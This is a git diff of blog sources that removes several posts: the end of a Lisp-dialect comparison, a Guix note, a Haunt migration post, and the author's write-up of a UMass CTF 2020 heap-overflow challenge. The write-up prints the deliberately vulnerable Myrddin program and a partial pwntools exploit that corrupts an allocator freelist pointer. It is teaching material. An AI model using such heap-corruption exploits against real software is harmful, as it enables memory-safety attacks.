[[https://common-lisp.net/project/asdf/][ASDF]] is a great piece -of software, but I really wish it weren't necessary. A simple library system for -me, thank you. - -That said, there are many more CL libraries in [[https://www.quicklisp.org/beta/][Quicklisp]] (n > 1,500) than there -are Scheme libraries in a comparable registry like [[https://akkuscm.org/][Akku.scm]] (n = 288). - -Performance-wise, SBCL ain't shit. - -#+BEGIN_SRC prog -jakob@Epsilon ~ $ time bash -c 'sbcl --script cl-raytracer.fasl' > test.ppm - -real 0m23.390s -user 0m21.231s -sys 0m2.155s -#+END_SRC - -The fasl was compiled with =(declaim (optimize (speed 3) (space 0) (debug 0)))=, -but I didn't give any type information. To me, this is fast, even if the Chez -executable was faster by a good 10 seconds. - -** Conclusions on Common Lisp - -When I write CL, I'm typically using not one, but two utility libraries -([[https://common-lisp.net/project/alexandria/][Alexandria]] and [[https://github.com/ruricolist/serapeum][Serapeum]]).[fn:6] The spec may be huge, but a lot of what it -guarantees is mostly useless to me, and the baggage that comes with that -complexity makes for a slightly less pleasant experience. However, it's a -battle-tested language with plenty of [[https://elmord.org/blog/?entry=20191114-sbcl-chez][mature implementations]]. If I can get past -its blemishes, I'm certain it would be a good choice for what I'm working on. - -* Fennel - -[[https://fennel-lang.org/][Fennel]], when juxtaposed with Scheme and Common Lisp, seems like some sort of -futuristic space technology. It's the newest of the three, and it has a very -different mouthfeel. Fennel also happens to be the name of one of my favorite -vegetables. It's surprisingly nice to munch on raw. A bit like licorice. - -I learned of Fennel from [[http://technomancy.us/][Phil Hagelberg]], who used it to develop a [[http://technomancy.us/187][real-time -strategy game for the 2018 Lisp Game Jam]]. Inspired by his retelling of the -experience, [[http://jakob.space/blog/slime-the-world-postmortem.html][I used it myself for the autumn edition of that game jam]]. - -The reason for Fennel's uniqueness is that it compiles to and interfaces with -[[https://en.wikipedia.org/wiki/Lua_(programming_language)][Lua]], thus inheriting Lua's semantics. Rather than lists being the principal data -structure, it's tables. Programming in a more functional style is possible, but -you'll eventually need to write some imperative code. - -#+BEGIN_SRC fennel -(fn pack [...] - (var result []) - (let [n (select "#" ...)] - (for [i 1 n] - (tset result i (select i ...)))) - result) - -(fn map [f sequence] - (var result []) - (when sequence - (for [i 1 (# sequence)] - (tset result i (f (. sequence i))))) - result) - -(fn fold [f init sequence] - (var result init) - (when sequence - (for [i 1 (# sequence)] - (set result (f result (. sequence i))))) - result) -#+END_SRC - -Having tables available to me was actually very nice for this specific program. -If you recall, my Scheme implementation of the raytracer used explicit dispatch. -I certainly could have done something similar in Scheme, but it felt very -natural in Fennel to associate the procedures with the instance. For the smaller -procedures, such as =normal-plane=, I could even make use of lexical closure, and -have those procedures capture the arguments passed to the constructor. - -#+BEGIN_SRC fennel -(fn intersect-plane [r shape t-min t-max] - (let [{ :n normal :p0 p0 } shape - { :origin origin :direction direction } r - normal (vec3-normalize normal) - denominator (vec3-dot direction normal)] - (if (~= 0 denominator) - (let [t (/ (vec3-dot (vec3- p0 origin) normal) - denominator)] - (if (<= t-min t t-max) t))))) - -(fn plane [p0 n material] - { - :n n - :p0 p0 - :material material - - :intersect intersect-plane - :normal (fn [] (vec3-normalize n)) - }) -#+END_SRC - -You get Lua's error system, too, which is a little bit like Go's. Fortunately, I -did not need to use it here, because I dropped the option type I was using in -Scheme. My after-the-fact realization that they don't make much sense in -dynamically-typed languages was correct. - -You've probably noticed by now, but Fennel doesn't have the old-school LISP -syntax that Common Lisp and Scheme have. You can't have too many parentheses in -your =let= forms. - -#+BEGIN_SRC fennel ->> (let ((x 1)) x) -Compile error: Compile error in unknown:1 - expected even number of name/value bindings - -(let ((x 1)) x) - ^^^^^^^ -,* Try finding where the identifier or value is missing. -#+END_SRC - -In some cases, your =let= forms won't have any parentheses at all. It's also like -=let*=, in that the initialization form can refer to other variables bound by that -same =let=. Similarly, =if= is basically a =cond=, except that the arms don't need to -be enclosed in parentheses. It all feels rather [[https://srfi.schemers.org/srfi-119/][wispy]] to me, which isn't a bad -thing. Personally, I think Fennel's way of doing it is more aesthetically -pleasing. The benefit of all the parentheses in the old-school LISP =let= is that -you can introduce lexical variables which aren't initialized, so the code in the -=let= body can do something before initializing it. - -#+BEGIN_SRC common-lisp -(let (a) - ... magic! ... - (setf a some-value) - ... magic! ... - a) -#+END_SRC - -But you can't manipulate variables introduced by a =let= in Fennel, so carrying -that detail over doesn't make sense. - -Additionally, =fn= and =lambda= are not what you would expect. Whereas in Scheme, -where =define= produces a named function and =lambda= produces an unnamed function, -both =fn= and =lambda= can be used to produce either named or unnamed functions. The -difference is that =lambda= checks the number of arguments it's been given, while -=fn= does not. This unchecked nature of =fn= makes it quite nice for generic -procedures where you may have unused parameters. - -Syntactic destructuring was my favorite part of using Fennel, especially as -there's support for partial table destructuring: you can omit the fields you -aren't interested in. - -Fennel has support for macros, which gives it quite a leg up over vanilla Lua. -The macro system is modeled on =defmacro=, and thus unhygenic, but at least -there's a reader macro built-in to do the =gensym= dance for you. There's also -=eval-compiler=, which allows you to run arbitrary code at compile-time with -access to the compiler scope, but I haven't thought of a use-case where that -would be necessary. It's worth mentioning that the macro system is much better -than it once was. Fennel didn't have quasiquotation when I used it last; I -basically didn't bother with macros for Slime the World. The built-in macro -library is small. There are [[https://clojure.org/guides/threading_macros][arrow macros]] and the =when= and =unless= forms I've been -raving about since the beginning of this article. - -I had a few unfortunate name clashes. - -#+BEGIN_SRC fennel -Compile error: Compile error in unknown:164 - use of global z1 is aliased by a local - -,* Try renaming local z1. -,* Try refer to the global using _G.z1 instead of directly. -#+END_SRC - - -But the solution this lead me to... - -#+BEGIN_SRC fennel -(fn vec3+ [...] - "Return the sum of VECS, as in vector space addition." - (fold (fn [a b] - (let [{:x α :y β :z γ} a - {:x x :y y :z z} b] - (vec3 (+ α x) (+ β y) (+ γ z)))) - (vec3 0.00 0.00 0.00) - (pack ...))) -#+END_SRC - -... which is surprisingly clear: the Greek letters correspond to one vector, and -the Latin letters correspond to another. I don't know if I'll use this -elsewhere. It's difficult enough to type. - -The issues I was having with =fennel-mode= that I mentioned in my post about Slime -the World seem to still be there, but I was able to fixed them with =M-x -set-variable RET lisp-indent-function RET fennel-indent-function=, which makes me -think that I may have something naughty in my =lisp-mode-hook=. The editor support -beyond that is modest. There's a "go to definition" implementation, and you can -spawn a Fennel REPL in comint. Quite comfy, though I feel as though a potential -project for me would be a =company= backend for Fennel. - -Performance-wise, Fennel isn't bad. Not race car speed, but not like my -grandmother's car either. - -#+BEGIN_SRC prog -jakob@Epsilon ~ $ time bash -c 'fennel fennel-raytracer.fnl > test.ppm' - -real 3m11.183s -user 3m10.805s -sys 0m0.236s -#+END_SRC - -If you drop =luajit= in place of =lua=, you're starting to looking at the speeds my -car's usually going. - -#+BEGIN_SRC prog -jakob@Epsilon ~ $ time bash -c 'fennel fennel-raytracer.fnl > test.ppm' - -real 1m0.591s -user 1m0.335s -sys 0m0.145s -#+END_SRC - -** Conclusions on Fennel - -I'm not sure Fennel will be my "go to" Lisp, at least not right now. But it -seems to be a perfectly fine choice for game development. Having access to LÖVE -and the Lua game development libraries surrounding it is reason enough for me to -consider it. - -* Lisps I've Neglected - -There are a few other Lisps I won't speak about in depth in this article, but -that I'd like to mention for completeness. - -** Emacs Lisp - -Emacs Lisp, or Elisp, is generally [[https://www.emacswiki.org/emacs/WhyDoesElispSuck][hated]]. I don't think it's that bad. It comes -with a subset of the standard functions in Common Lisp that are actually useful. -It's also a Lisp-2 with dynamic scope (by default -- many packages opt-in to a -lexically scoped variant of Emacs Lisp), so writing Elisp feels a lot like -writing Common Lisp, just with buffers as the principal way of manipulating -textual data, and with a very archaic UX API. There's no namespacing, either, so -trying not to step on other people's functions is similar to the situation in C. - -** Gerbil Scheme - -I first heard about [[https://cons.io/][Gerbil]] from François-René Rideau at a Boston Lisp Meetup. -He's [[https://fare.livejournal.com/188429.html][written about it a little bit]] if you want to know why it appeals to a -rather prominent figure in the CL community, but, in brief, it tries to make -Scheme a bit more modern, and it does this by taking a few pages out of CL's -book. - -I was really excited about Gerbil. It has pattern matching, =syntax-case=, and -generic =set!=. There's a kick-ass standard library, too. It has a HTTP -client/server, and support for event-driven and actor-oriented programming, all -built-in. The object system looks like like Common Lisp, with form names like -=defstruct=, =defgeneric= and =defmethod=, and feels like it, too, provided you import -=:std/generic=. There's a separate system for single dispatch, but then invocation -becomes ={method-name}= rather than =(procedure-name)= and... I'm not a fan. - -I gave up on the ray tracer in Gerbil, partly because I felt there was a bit -much to take in to be able to write about it the next day. It's something I'm -going to look into more, because I have a hunch that it _might_ be the perfect -choice for this project. - -My biggest complaint at the moment is the lack of maturity. The build system for -the compiler is ridiculous. Set =GERBIL_BUILD_CORES=1= if you don't want OOM kills -like this: - -#+BEGIN_SRC prog -... compile misc/list -{standard input}: Assembler messages: -{standard input}:510: Warning: end of file not at end of a line; newline inserted -{standard input}:511: Error: expecting operand after ','; got nothing -{standard input}: Error: open CFI at the end of file; missing .cfi_endproc directive -x86_64-pc-linux-gnu-gcc: fatal error: Killed signal terminated program cc1 -compilation terminated. -#+END_SRC - -... with no way to continue the build from where it left off. The documentation -is filled with "Please document me!". If I'm going to invest in Gerbil, I had -better become a part of the development efforts as well. - -There's [[https://cons.io/guide/emacs.html][rudimentary Emacs support]]. I was using [[https://github.com/thunknyc/emacs-treadmill][treadmill]] when I played with it, -which I enjoyed because it had completion support. I'd need to spend some time -hacking on my config if I were to use it seriously. - -** Racket - -[[https://racket-lang.org/][Racket]] (formerly PLT Scheme), like Gerbil, is likely to be exactly what I'm -looking for: a "modern" take on Scheme. It's oriented towards designing -programming languages, and I think that's another similarity that can be drawn -between it and Gerbil, the latter of which boasting a "state of the art macro -... system" [10]. - -Scheme may have schismed, but I think that Racket may be a unifying force for -Schemers. I was once a skeptic, under the impression that it's value was purely -as a teaching language. When Chris told me that he was writing [[https://gitlab.com/spritely][Spritely]] in -Racket, I recall (not saying aloud, but) thinking to myself, "why choose Racket -over Guile?" But the reality is that Racket is incredibly well-designed and has -more of a community surrounding it than any other Scheme. Now that I've given it -a proper glance, I have no doubt that it was an excellent choice there. - -The Racket team is currently [[https://blog.racket-lang.org/2020/02/racket-on-chez-status.html][adopting a new backend]], which I think is promising. -In either case, performance with the current backend is not bad in the -slightest. - -#+BEGIN_SRC prog -jakob@Epsilon ~ $ time bash -c 'racket r6rs-raytracer.scm > test.ppm' - -real 1m7.742s -user 1m6.122s -sys 0m1.794s -#+END_SRC - -This is on the order of CHICKEN's speed. And, bear in mind, this is an old -version of Racket, too -- the most stable version in the Gentoo repositories is -7.0, which is from 2018. - -** Hy - -[[https://docs.hylang.org/en/stable/][Hy]] is a bit like [[http://fennel-lang.org/][Fennel]], except that instead of compiling to Lua, it compiles to -Python. I believe I've heard it called "Python, but with more parentheses," -which is mostly how I feel about it. It's a very interesting project, but -adopting the semantics of Python makes for a distinctly non-Lispy Lisp. Then -again, it's been a good two years or so since I last used it. Take that comment -with a grain of salt. - -In addition to getting the benefits of the Python ecosystem, the editor support -for Python mostly carries over, too. I've had pleasant experiences with [[https://github.com/tkf/emacs-jedi][Jedi]] -while writing Hy code. - -** Janet - -[[https://janet-lang.org/][Janet]] is promising, and I need to look into it more. It's the work of the same -mastermind behind [[http://fennel-lang.org/][Fennel]], and despite carrying a small runtime, it boasts a -rather extensive standard library. It's only about three years old, but there -already seems to be a growing package repository. - -It may not be the most suitable choice for what I'm working on, but I can see -this being a useful scripting language to have in my toolbox. - -** Clojure - -Clojure's license makes it a complete non starter for me, sorry. Live free or -die. - -* Concluding Statements - -Even if I remain undecided, writing this article has given me a good idea of how -enjoyable I find working with each of the dialects I've mentioned. - -The conclusion I'm drawing may seem to be coming out of left field, here, but -now that I have four implementations of the same program, it's clear to me that -the differences at the language level are mostly superficial. I've written here -about how nice it is to have features such as pattern matching and =fold= -out-of-the-box, but a strength common to all of the Lisps I've described here is -that they make it possible for one to implement those features on her own. For -example, if I'm aching for Common Lisp's =&optional= and =&key= arguments in Scheme, -I can implement that myself with a bit of [[http://catb.org/jargon/html/M/macrology.html][macrology]]. This is why I love Lisp. - -Returning to the question I'd initially posed, my choice of dialect shouldn't -matter. But picking one with decent syntactic abstractions available from the -get-go will save me the trouble of making my own batteries. - -This article has been a collection of unfettered opinions which I believe I have -properly supported with truths, but if any of my claims are, in fact, erroneous, -I would encourage you to contact me so that I may piece together an erratum. - -A special thanks to [[https://healeycodes.com/][Andrew Healey]] for providing feedback on an early draft of -this. - -* References - -[1]: McCarthy, John. "Recursive functions of symbolic expressions and their computation by machine, Part I." /Communications of the ACM/ 3, no. 4 (1960): 184-195. Accessed http://www-formal.stanford.edu/jmc/recursive.pdf. - -[2]: Turon, Aaron. "Rust's language ergonomics initiative." Rust Blog, 2014. Accessed https://blog.rust-lang.org/2017/03/02/lang-ergonomics.html. - -[3]: Kalibera, Tomas, and Richard Jones. "Rigorous benchmarking in reasonable time." In Proceedings of the 2013 international symposium on memory management, pp. 63-74. 2013. https://kar.kent.ac.uk/33611/45/p63-kaliber.pdf. - -[4]: "Charter for working group 1." R7RS-small archive, 2009. Accessed http://www.scheme-reports.org/2009/working-group-1-charter.html - -[5]: Shinn, Alex, Cowan, John, Gleckler, Arthur A., Ganz, Steven, Hsu, Aaron W., Lucier, Bradley, Medernach, Emmanuel, Radul, Alexey, Read, Jeffrey T., Rush, David, et al. "6.14. System interface" in "Revised^7 Report on the Algorithmic Language Scheme." pp. 59-61. 2013. Accessed https://small.r7rs.org/attachment/r7rs.pdf. - -[6]: Shinn, Alex, Cowan, John, Gleckler, Arthur A., Ganz, Steven, Hsu, Aaron W., Lucier, Bradley, Medernach, Emmanuel, Radul, Alexey, Read, Jeffrey T., Rush, David, et al. "3.5 Proper tail recursion" in "Revised^7 Report on the Algorithmic Language Scheme." pp. 11-12. 2013. Accessed https://small.r7rs.org/attachment/r7rs.pdf. - -[7]: "The Common Lisp HyperSpec." LispWorks. Accessed http://www.lispworks.com/documentation/common-lisp.html. - -[8]: "ISO/IEC 14882:2017 Programming languages — C++." International Standards Organization, 2017. Accessed https://www.iso.org/standard/68564.html. - -[9]: Seibel, Peter. "18. A Few FORMAT Recipes" in /Practical Common Lisp/. 2003. Accessed http://www.gigamonkeys.com/book/a-few-format-recipes.html. - -[10]: "Modern Scheme Implementation." Gerbil Scheme. Accessed https://cons.io/. - -[11]: Weinholt, Göran. "R7RS versus R6RS." weinholt.se, 2018. Accessed https://weinholt.se/articles/r7rs-vs-r6rs/. - -[12]: Verna, Didier. "How to Make Lisp Go Faster than C." IAENG International Journal of Computer Science 32, no. 4 (2006): 499-504. Accessed http://www.iaeng.org/IJCS/issues_v32/issue_4/IJCS_32_4_19.pdf. - -[13]: Abelson, Harold, and Gerald Jay Sussman. "Systems with Generic Operations" in /Structure and Interpretation of Computer Programs/. The MIT Press, 1996. Accessed https://web.mit.edu/alexmv/6.037/sicp.pdf. - -[fn:1] "Failed" is perhaps somewhat ambiguous here. I put the book down before getting to the second chapter, feeling I wasn't getting as much out of it as I should have been. Nowadays, I attribute this to a general lack of mathematical maturity. I was fourteen at the time, and the closest thing to "rigorous proofs" I had written were the two-column sequential ones you would do in a high school Euclidean geometry class. Coming back to the book now, I've realized that the later sections are largely non-mathematical, and that I probably would have been able to stomach them at that age. That said, I am glad that I came back to the book when I did. The early exercises are enlightening, and I think the additional practice helped me greatly when I went on to study discrete mathematics and algorithms. - -[fn:2] From the R6RS guiding principles: Scheme should "allow educators to use the language to teach programming effectively, at various levels and with a variety of pedagogical approaches; and allow researchers to use the language to explore the design, implementation, and semantics of programming languages." These principles do not appear in R5RS or R7RS, or at least they are not worded in the same way. Perhaps there are some differences among those on the Scheme Language Steering Committee regarding public image? - -[fn:3] /The C Programming Language/, by Brian Kernighan and Dennis Ritchie. - -[fn:4] I'm speaking from relatively little experience. If you have experience with both languages, I'd be interested to hear your take. - -[fn:5] As it turns out, [[https://srfi.schemers.org/srfi-1/srfi-1.html][SRFI-1]] does have a less general =fold= procedure. My statement still stands, as SRFI-1 is not part of R7RS (small). Though, both of the general =fold= procedures /are/ part of R7RS (large) "Red Edition". This is an incredibly minor point, and I speak about the triviality of facts like this in the conclusion section. - -[fn:6] Though, this wasn't the case for my raytracer. I limited myself to vanilla CL. - -* Erratum - -*2020-07-20 11:47*: [[https://lonely.town/@wasamasa/104546888811267712][@wasamasa]] pointed out that the Fennel links in the Hy and Janet sections did not point to the Fennel website. I've updated this in the original text, as there's little reason to leave a mistake like that. Thank you! - -*2020-07-20 12:26*: [[https://mastodon.sdf.org/web/statuses/104547060370665309][@technomancy]] pointed out a few mistakes I'd made in the Fennel section: - -I've removed the following part of my commentary on syntactic destructuring, -because the first example works perfectly fine if you swap the order of =_= and =[r -g b]=. - ---- - -Unfortunately, you can't destructure /everywhere/. You can't write this, for -example: - -#+BEGIN_SRC fennel -(fn write-ppm [image] - (print "P3") - (print (string.format "%d %d" image.width image.height)) - (print "255") - (each [[r g b] _ (ipairs image.pixels)] - (print (string.format "%d %d %d" r g b)))) -#+END_SRC - -Rather, you need to dereference first, destructure second. - -#+BEGIN_SRC fennel -(fn write-ppm [image] - (print "P3") - (print (string.format "%d %d" image.width image.height)) - (print "255") - (for [i 1 (# image.pixels)] - (let [[r g b] (. image.pixels i)] - (print (string.format "%d %d %d" r g b))))) -#+END_SRC - ---- - -Additionally, my original description of the state of editor support was -misleading. It originally read as: - -#+BEGIN_QUOTE -The editor support beyond that is almost non-existent. There's a "go to -definition" implementation, and you can spawn a Fennel REPL in comint, but -there's no way to send something from a source code buffer to the REPL. -#+END_QUOTE - -But, as it turns out, there /is/ a way of sending source code to the REPL with =C-c -C-k=, thanks to =fennel-mode= deriving from =lisp-mode=. So, despite the =fennel-mode= -source code being a very small file, it packs a punch. - -Thanks for the corrections! - -*2020-07-20 13:32*: [[https://octodon.social/@cwebber][@cwebber]] noted that my description of Common Lisp as dynamically-scoped could be clearer, as any variables introduced with =let=, =let*=, ..., actually have lexical extent and do not act dynamically by default. Thanks, Chris! - -*2020-07-20 17:40*: [[https://mastodon.social/@ekaitz_zarraga/104547997623758493][@ekaitz_zarraga]] pointed out that I'd said "Fennel" when I meant to say "Scheme" in "[y]ou've probably noticed by now, but Fennel doesn't have the old-school LISP syntax that Common Lisp and Fennel [sic] have." Thanks! - -*2020-07-20 20:18*: I had made a comment reading "[a]lso, function definitions have to come in order, or your CL compiler is going to yell at you. This is enough to drive me up the wall" in the Common Lisp section. This is true of SLIME when you =C-c C-c=, but it is not the case when you =C-c C-k=, which is what you should be doing to compile a file in SLIME. Nor is it the case for SBCL's =compile-file=. Thanks to [[https://lobste.rs/s/chamtu/many_faces_undying_programming_language#c_9rey5p][travv0]] on lobste.rs and [[https://www.reddit.com/r/lisp/comments/hupqhn/the_many_faces_of_an_undying_programming_language/fyp03t6/][lispm]] on Reddit for pointing this out. diff --git a/org/Towards Guix for DevOps/towards-guix-for-devops.org b/org/Towards Guix for DevOps/towards-guix-for-devops.org deleted file mode 100644 index afbaea4..0000000 --- a/org/Towards Guix for DevOps/towards-guix-for-devops.org +++ /dev/null @@ -1,8 +0,0 @@ -#+TITLE: Towards Guix for DevOps -#+DATE: <2019-07-13 Sat 16:11> -#+TAGS: writeup, programming, functional-programming, linux, guix, lisp, scheme, guile -#+CROSSPOST: https://www.gnu.org/software/guix/blog/2019/towards-guix-for-devops/ - -Hey, there! I'm Jakob, a Google Summer of Code intern and new contributor to -Guix. Since May, I've been working on a DevOps automation tool for the Guix -System, which we've been calling guix deploy. diff --git a/org/Transition to Haunt/transition-to-haunt.org b/org/Transition to Haunt/transition-to-haunt.org deleted file mode 100644 index dd1e730..0000000 --- a/org/Transition to Haunt/transition-to-haunt.org +++ /dev/null @@ -1,70 +0,0 @@ -#+TITLE: Transitioning to Haunt -#+DATE: <2019-05-04 Sat> -#+TAGS: writeup, programming, lisp, scheme, emacs, emacs-lisp - -Rather than study for finals this week, I spent my time moving this blog over to -[[https://dthompson.us/projects/haunt.html][Haunt]]. Previously, I was using Hugo, and while [[https://ox-hugo.scripter.co/][ox-hugo]] made the authoring -workflow tolerable, doing anything on the rendering side of things was unsavory -at best. I eventually had enough and decided to look for another solution, of -which Haunt was the most enticing. - -I should probably begin by thanking [[https://dthompson.us/][David Thompson]], not only for his work on -Haunt, but also because he made the [[https://git.dthompson.us/blog.git][source code for his Haunt blog]] available. -I'm sure our similar stylesheets is enough of a hint that I used his blog as a -starting point. In hopes that it may be useful to someone else, I have also -chosen to make my Haunt configuration and Org sources available [[https://git.sr.ht/~jakob/blog][here]]. - -On the topic of Org sources, my chief concern with transitioning away from Hugo -was the possibility of losing my ability to author posts in =org-mode=. After all, -"Org" is not among the available readers in the upstream Haunt repository. I -handled this by taking the same approach as =ox-hugo=: writing an Org Export -backend. I call it [[https://git.sr.ht/~jakob/ox-haunt][ox-haunt]], and it really doesn't do much. It piggybacks on -=ox-html= and Haunt's =html-reader=, filling in the metadata section according to -whatever Org keywords it finds. I've also tried to keep it relatively -unopinionated, leaving the output of =ox-html= generally unaltered -- if you don't -like the gross old-school XHTML, set =org-html-doctype=. Do note, though, that -=xml->sxml= can't read implicitly self-closing tags like =img=. So make sure you set -it to ="xhtml5"= and not ="html5"=. - -If you do end up using =ox-haunt=, you'll need to use a slightly modified -=html-reader= for versions <= 0.2.4: - -#+BEGIN_SRC scheme -(define (read-html-post port) - (values (read-metadata-headers port) - (let loop ((ret '())) - (catch 'parser-error - (lambda () - (match (xml->sxml port) - (('*TOP* sxml) (loop (cons sxml ret))))) - (lambda (key . parameters) - (reverse ret)))))) - -(define html-reader - (make-reader (make-file-extension-matcher "html") - (cut call-with-input-file <> read-html-post))) -#+END_SRC - -The =html-reader= included in those versions can't read more than one top-level -element. I've submitted a patch, but as of the time of writing this, it hasn't -made its way into the upstream repository. - -Also, see that beautiful syntax highlighting? One of the benefits of using -=ox-html= as a base was =htmlize=. I've even been able to tailor the colors to my -Emacs theme. - -Oh, one last point. I've dropped the header images for my posts. I was using -them in hopes of emulating the look of [[https://dolphin-emu.org/blog/][Dolphin Emulator's blog]] and [[https://aixxe.net/][aixxe]], but I -really don't think I was able to do the technique justice. - -#+BEGIN_EXPORT html -
- -
-#+END_EXPORT - -Overall, I'm happy with that choice of static site generator. Compared with -Hugo, Haunt is far simpler and easier to hack on. Honestly, who cares if I'm -using the "world's fastest framework for building websites"? =haunt build= still -finishes in under a second. And despite describing myself as a Common Lisp-er, -I've been having a blast using Guile Scheme for this. diff --git a/org/UMass CTF 2020 - suckless Writeup/umass-ctf-2020-writeup.org b/org/UMass CTF 2020 - suckless Writeup/umass-ctf-2020-writeup.org deleted file mode 100644 index b55df2c..0000000 --- a/org/UMass CTF 2020 - suckless Writeup/umass-ctf-2020-writeup.org +++ /dev/null @@ -1,285 +0,0 @@ -#+TITLE: UMass CTF 2020 - suckless Writeup -#+DATE: <2020-12-13 Sun 18:16> -#+TAGS: writeup, capture-the-flag, security, binary-exploitation, myrddin - -Well, this is certainly overdue. It's the writeup for a challenge I authored for -this year's UMass CTF, which ran from /October 5th to October 12th/. Yes, I'm -late. But when you attend a university that tried very hard to squeeze the -[[https://www.umass.edu/coronavirus/news/umass-amherst-announces-fall-2020-reopening-plan-under-extensive-public-health-and-behavioral][entire semester twelve weeks]], you're going to deal with burnout and not nearly -enough time to do things outside of your coursework. So I'm finally coming back -to the challenge now that the semester's ended. - -# TODO: Link to other writeups. - -suckless was released on the 9th, and no one solved it. The challenge revolved -around a program, =sldiary=, which allowed the user to create "notes" which would -be saved to memory and could be recalled later. It was written in Myrddin, which -I [[http://jakob.space/blog/first-impressions-of-the-myrddin-programming-language.html][wrote about]] earlier this year. The source code for the program was provided -with the challenge, and is listed below. - -#+BEGIN_SRC myrddin -use std - -var flag = "You neet to hit the server for flag" -var version = "sldiary 0.1.1" -var versionptr - -const intro = { - versionptr = &version - std.put("(\\ \n") - std.put("\\'\\ \n") - std.put(" \\'\\ __________ \n") - std.put(" / '| ()_________)\n") - std.put(" \\ '/ \\ ~~~~~~~~ \\ {}\n", version) - std.put(" \\ \\ ~~~~~~ \\\n") - std.put(" ==). \\__________\\\n") - std.put(" (__) ()__________)\n") - std.put("\n") - std.put("type 'help' for available commands\n") -} - -const showver = { - var tmp = flag - std.put("this is {}\n", versionptr#) -} - -const addmsg = {n, buf -> byte# - var i - var msg = std.bytealloc(n) - for i = 0; buf[i] != ('\n' : byte); i++; - (((msg : std.size) + i) : byte#)# = buf[i] - ;; - -> msg -} - -const msgstrconv = {n, msg - var i - var sb = std.mksb() - for i = 0; i < n; i++ - std.sbputc(sb, ((((msg : uint64) + i) : byte#)# : char)) - ;; - -> std.sbfin(sb) -} - -const getln = { - var sb = std.mksb() - var buf = std.slalloc(0x40) - match std.read(std.In, buf) - | `std.Ok(n): - | `std.Err(n): std.die("i/o error") - ;; - std.sbputs(sb, buf) - -> std.sbfin(sb) -} - -const main = { - intro() - var notes = std.slalloc(0) - - var line - while true - std.put("> ") - line = getln() - if std.strhas(line, "help") - std.put("help: print this\n") - std.put("new: make a new note\n") - std.put("show: show all of your notes\n") - std.put("version: show the version of sldiary\n") - elif std.strhas(line, "new") - std.put("note length: ") - std.slfree(line) - line = getln() - var len - match std.strfind(line, "\n") - | `std.Some(n): line = line[:n] - | `std.None: - ;; - match std.intparse(line) - | `std.Some(n): len = n - | `std.None: std.put("invalid length\n"); continue - ;; - std.put("note: ") - std.slfree(line) - line = getln() - var msg = addmsg(len, line) - notes = std.slpush(¬es, (len, msg)) - elif std.strhas(line, "show") - var i - for i = 0; i < notes.len; i++; - var len, msg - (len, msg) = notes[i] - std.put("address: {}\n", (msg : byte#)) - std.put("{}: {}\n", i, msgstrconv((len : uint64), msg)) - ;; - elif std.strhas(line, "version") - showver() - else - std.put("invalid command\n") - ;; - std.slfree(line) - ;; - - std.slfree(notes) -} -#+END_SRC - -Even without being familiar with Myrddin, asking for the length of the note -before reading it in is suspicious. And, indeed, this is where the vulnerability -lies. The program reads in =len= ("note length") and =msg= ("note"), and calls -=addmsg(len, line)=, which obtains a chunk of memory as =std.bytealloc(len)= (where -=std.bytealloc= is effectively equivalent to =malloc (3)=), and fills it with the -contents of =msg= up to the first occurrence of '\n' -- the line feed character, -which indicates the end of what the user typed into the program. - -So, we can corrupt the heap, but now what? - -The caveat to this challenge was that the attacker would be corrupting a Myrddin -heap, not i.e. a glibc heap. So if you were going to solve this challenge, you -would need to have needed to read the source code for the Myrddin standard -library. Fortunately, this is rather easy to navigate, and =std.alloc= is written -in pure Myrddin. - -For those playing along at home, the source code for Myrddin is found [[https://git.eigenstate.org/ori/mc.git][here]], and -the source code for =std.bytealloc= is contained in ~lib/std/bytealloc.myr~. - -#+BEGIN_SRC myrddin -/* Allocates a blob that is 'sz' bytes long. Dies if the allocation fails */ -const bytealloc = {sz - var bkt, p - - if sz <= Bktmax - bkt = &buckets[bktnum(sz)] - lock(memlck) - p = bktalloc(bkt) - unlock(memlck) - else - p = bigalloc(sz) - ;; - if trace - lock(memlck) - tracealloc(p, sz) - unlock(memlck) - ;; - -> p -} -#+END_SRC - -Where the memory format of =slab= is - -#+BEGIN_SRC myrddin -type slab = struct - head : byte# /* head of virtual addresses, so we don't leak address space */ - next : slab# /* the next slab on the chain */ - prev : slab# /* the prev slab on the chain */ - freehd : chunk# /* the nodes we're allocating */ - nfree : size /* the number of free nodes */ - magic : size /* ensure we didn't index into the void */ -;; -#+END_SRC - -and the source for =bktalloc= is - -#+BEGIN_SRC myrddin -/* -Allocates a node from bucket 'bkt', crashing if the -allocation cannot be satisfied. Will create a new slab -if there are no slabs on the freelist. -,*/ -const bktalloc = {bkt - var s, c - - /* find a slab */ - s = bkt.slabs - if s == Zslab - s = mkslab(bkt) - bkt.slabs = s - if s == Zslab - die("No memory left") - ;; - ;; - - /* grab the first chunk on the slab */ - c = s.freehd - s.freehd = c.next - s.nfree-- - if s.freehd == Zchunk - bkt.slabs = s.next - if s.next != Zslab - s.next.prev = Zslab - ;; - ;; - -> (c : byte#) -} -#+END_SRC - -Below the comment reading 'grab the first chunk on the slab' is code to unlink -the head of a linked list (=freehd=). When a *slab* of memory is allocated, its -space is divided into *chunks*. Each chunk is initially a pointer to the next -chunk. When we take a chunk to satisfy an allocation request, that pointer (and -the space after it) is overwritten with user data, and the slab's "next free -chunk" (=freehd=) is updated to point at whatever the =cdr=[fn:1] of that chunk was. -It's a pretty simple heap format. - -#+CAPTION: Diagram showing showing three "free" chunks surrounding one containing user data. -[[./MyrddinHeap.svg]] - -Thus, when we can overwrite the =cdr= pointer, we have a write-anything-anywhere -primitive. So, why not overwrite the unusually suspect =versionptr= used in -=showver=? - -#+BEGIN_SRC myrddin -const showver = { - var tmp = flag - std.put("this is {}\n", versionptr#) -} -#+END_SRC - -If we overwrite =versionptr= to point to =flag=, we can dump the flag. So that's -exactly what we'll do. - -#+BEGIN_SRC python -import struct - -from pwn import * -context(arch="x86_64", os="linux") - -VERSIONPTR_ADDR = 0x0042e850 -FLAG_ADDR = 0x42a048 - -p = process(["./suckless"], False, "./suckless") - -# Allocate first chunk. -p.recvuntil("> ") -p.sendline("new") -p.recvuntil("note length: ") -p.sendline("8") -p.recvuntil("note: ") -p.sendline((b"A" * 16) + struct.pack("Q", VERSIONPTR_ADDR)) -p.recvuntil("> ") -p.sendline("show") -p.recvuntil("address: ") -dbg = int(p.recvline(), 16) - -# Allocate dummy chunk. -p.recvuntil("> ") -p.sendline("new") -p.recvuntil("note length: ") -p.sendline("8") -p.recvuntil("note: ") -p.sendline((b"B" * 8)) -p.recvuntil("> ") -p.sendline("show") - -# Overwrite versionptr. -p.recvuntil("> ") -p.sendline("new") -p.recvuntil("note length: ") -p.sendline("8") -p.recvuntil("note: ") 